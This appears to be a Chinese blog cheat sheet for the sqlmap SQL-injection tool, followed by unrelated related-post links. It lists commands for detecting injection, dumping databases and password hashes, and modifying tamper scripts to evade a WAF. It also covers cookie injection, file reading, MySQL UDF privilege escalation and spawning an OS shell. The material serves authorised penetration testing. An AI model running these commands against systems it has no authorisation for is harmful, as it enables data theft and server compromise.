sqlmap实战-1
sqlmap实战-1
检测和利用sql注入
python2 sqlmap.py -u "[URL_SQL注入点]" [--batch]
--batch:自动选择sqlmap默认的选择
寻找目标


直接连接数据库
python2 sqlmap.py -d "mysql://[user]:[password]@[ip]:[port]/[dbs]" --banner --dbs --users

数据库操作参数:
--dbs:列举数据库信息
--current-db:当前数据库名
--current-user:当前数据库用户
--users:列举DBMS中所有用户
--passwords:列举DBMA中所有账户和密码

-D [databases] …:指定数据库名,对库进行操作
-T [tables]:指定数据表,对表进行操作
-C [columns]:指定列名,对列进行操作
--tables:列举数据库表的信息
--columns:列举数据表的列名信息
--schema:枚举数据库结构
--count:枚举数据包的项目数
-D/-T/-C/--dbs/--tables/--columns/--schema/--count
联合操作就可以实现对数据库的具体操作
#列举库中的所有表:
-D [库名] --tables
#列举表中的字段名:
-D [库名] -T [表名] --columns
--dump:导出数据
--start:指定开始的行
--stop:指定结束的行
# 导出当前全部的数据表数据
-D [库名] -T [表名] -C [字段名] --count --dump
# 导出部分(范围)数据表数据
-D [库名] -T [表名] -C [字段名] --start {*} --stop {*} --dump

sqlmap技巧
利用注释的方法绕过waf注入
/tamper/halfversionecdmoreckeywords.py:
return match.group().replace(word, "/*!0%s" % word)
# 修改
return match.group().replace(word,"/*!50000%s*/" % word)
/xml/queries.xml:
<cast query="CAST(%s AS CHAR)"/>
<!--修改-->
<cast query="CAST(%s, CHAR)"/>
sqlmap实施注入:
sqlmap.py -u [url] --tamper ./tamper/halfversionecdmoreckeywords.py
sqlmap.py -u [url] --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py
URL重写SQL注入测试
value1为测试参数,加*符号即可,sqlmap将会测试value1位置是否可以注入
列举并破解密码hash
当用户可以有权限查看用户密码的时候,--password会自动连接并破解hash返回结果
对目标进行爬取
--batch --crawl=3 从目标URL爬取网站
使用hex规避编码导致丢失
sqlmap.py -u [url] --banner --hex -v 3 --parse-errors
--parse-errors:解析和显示响应数据库错误信息
模仿移动端访问目标
sqlmap.py -u [url] --banner --mobile
--mobile:设定一个移动端的“User-Agent”模仿手机访问URL
智能判断测试
sqlmap.py -u [url] --bath --smart
--smart:快速判断 为报错注入点进行注入
结合Burp进行注入测试
在Burp——Options——"proxy.Requests"中保存Burp的抓包记录
sqlmap.py -r burp***.txt
从抓包记录中加载HTTP请求
sqlmap.py -u [url] --data "[*……*]"
自动填写表单
sqlmap.py -u [url] --forms [……]
--forms:解析和测试目标URL表单
读取Linux的文件
sqlmap.py -u [url] --file [url]
延时注入
sqlmap.py -u [url] --technique -T --current-user
sqlmap.py -u [url] --delay 0.5
sqlmap.py -u [url] --safe-freq # 请求两次
Burp抓包利用sqlmap注入
sqlmap.py -r ***.txt -p [需要注入的参数]
-p:指定注入参数
sqlmap Cookies注入
默认情况下,sqlmap只支持get/post参数的注入,使用-level参数且数值大于等于2就会检测cookie参数,大概大于3时检查User-Agent和Referer
sqlmap.py -u [url] --cookie [value] --level 3
sqlmap.py -u [url] --cookie [value] --level 3 --tables
sqlmap.py -u [url] --cookie [value] --level 3 -T [表名] --coiumns
……
MySQL提权
连接并打开一个交互shell
sqlmap.py -d "mysql://[user]:[password]@[ip]:[port]/[dbs]" --sql-shell
上传lib_mysqludf_sys到plugin目录
sqlmap.py -d "mysql://[user]:[password]@[ip]:[port]/[dbs]"
--file-write=
执行shell命令
sqlmap.py -u [url] --os-cmd=[^] #执行cmd命令(Win环境)
sqlmap.py -u [url] --os-shell=[^] #建立交互式的shell
sqlmap实战-1的更多相关文章
- sqlmap 实战漏洞平台dvwa进行密码破解
2016-05-24 (1)实验的具体的环境极其思路 首先我们要检测我们的漏洞平台是否有sql注入 ,进行简单的测试发现在用户userid 上存在注入的漏洞 使用抓包工具对其cookie 进行获取如下 ...
- kali安全工具
http://www.kali.org.cn/ Kali linux下载安装 (27) kali linux是backtrack的最新代号,或者叫新版本的backtrack,欢迎下载使用. 908 / ...
- Web安全工程师(进阶)课程表
01-SQL注入漏洞原理与利用 预备知识: 了解HTTP协议,了解常见的数据库.脚本语言.中间件.具备基本的编程语言基础. 授课大纲: 第一章:SQL注入基础 1.1 Web应用架构分析1.2 SQL ...
- Web安全攻防(简)学习笔记
Web安全攻防-学习笔记 本文属于一种总结性的学习笔记,内容许多都早先发布独立的文章,可以通过分类标签进行查看 信息收集 信息收集是渗透测试全过程的第一步,针对渗透目标进行最大程度的信息收集,遵随&q ...
- sqlmap注入工具----一次简单的注入(实战)
最近在学习网络安全,挖洞避免不了要使用许多工具,使用著名注入工具sqlmap的时候,对于英语不怎么好的我就比较难受了,本来就不会使用,加之又是英语的,简直难受.上网找了好多详细教程,但是命令实在是太多 ...
- sqlmap+DWAV测试实战(一)
root@kali-yaming:~# sqlmap -u "http://172.18.225.39/vulnerabilities/sqli/?id=1&Submit=Submi ...
- 使用sqlmap对进行php+mysql注入实战
作者:陈小兵一般来讲一旦网站存在sql注入漏洞,通过sql注入漏洞轻者可以获取数据,严重的将获取webshell以及服务器权限,但在实际漏洞利用和测试过程中,也可能因为服务器配置等情况导致无法获取权限 ...
- 【实战】sqlmap显示有注入却无法爆出库名
sqlmap爆mssql数据库时采用的语句如下图: 从语句中不难看出,如果关键字select被“(非tamper绕过)处理”了,那sqlmap是无法爆出数据库的,这时我们可以使用原始的猜解法, #判断 ...
- sqlmap连接Mysql实现getshell(原创)
前言 昨天群友发了一知乎的帖子..才发现sqlmap玩了那么久有些玩意我居然没玩过...然后看着群友玩= =今天也想试试. 0x01 首先得知道这个玩意,sqlmap -help,不说大家也懂搜嘎. ...
随机推荐
- Storm 系列(一)—— Storm和流处理简介
一.Storm 1.1 简介 Storm 是一个开源的分布式实时计算框架,可以以简单.可靠的方式进行大数据流的处理.通常用于实时分析,在线机器学习.持续计算.分布式 RPC.ETL 等场景.Storm ...
- C# 表达式树遍历(二)
一.前言 上一篇我们对表达式树有了初步的认识,这里我们将对表达式树进行遍历,只有弄清楚了他的运行原理,我们才可以对他进行定制化修改. 表达式系列目录 C# 表达式树讲解(一) C# 表达式树遍历(二) ...
- Winforn中使用代码动态生成控件
场景 有时候需要根据配置文件在窗体中使用代码动态生成控件. 比如读取xml配置文件中的节点数量,然后在窗体中生成指定数量的RadioGroup控件. 实现 新建一个窗体,在窗体的加载完之后的事件中 p ...
- mapper 传多个参数
Mybatis的Mapper接口的参数,一般是一个对象,但如果不是对象,并且有多个参数的时候呢?我们第一个的想法是把参数封装成一个java.util.Map类型,然后在方法的注释上面写上map的key ...
- crypto 的使用方法和说明
crypto 模块提供了加密功能,包含对 OpenSSL 的哈希.HMAC.加密.解密.签名.以及验证功能的一整套封装.我们这里讲crypto AES算法加密 一.使用步骤 1.引入Crypto 1. ...
- PHP开发 高可用 高安全App后端(免费)
PHP开发高可用高安全App后端 第1章 本章先讲解课程所含技术点,并演示相关的项目,让小伙伴对课程有个初步的认知,然后再带领小伙伴进行功能的分析,表的ER总关系图 第2章 本章主要讲解课程的一些准备 ...
- The 10 Most Important Linux Commands/10个最经常使用的命令行
1. ls 命令:to show all of the major directiories filed under a given file system. for example: ls /app ...
- [Flask Tips]Flask-APScheduler用法总结
在应用中需要使用调度框架来做一些统计的功能,可惜在Windows上可用的不多,最后选择了APScheduler这个调度器. 用法不多介绍,只总结一下在使用中遇到的坑. app_context 问题 凡 ...
- [C++]invalid initialization of non-const reference of type 'std::__cxx11::string& {aka std::__cxx11::basi
解决方法:在参数前面加一个cosnt或者把引用符号去掉
- Salesforce学习之路-developer篇(二)利用Jenkins和Bitbucket实现Salesforce的CI/CD功能
上文提到,基于CRM的二次开发是必不可少的,但是在实际项目中CI/CD是不可忽略的一个重要部分,与传统的Java,Python项目不同,如果对Salesforce进行持续集成和持续部署呢? 结合找到的 ...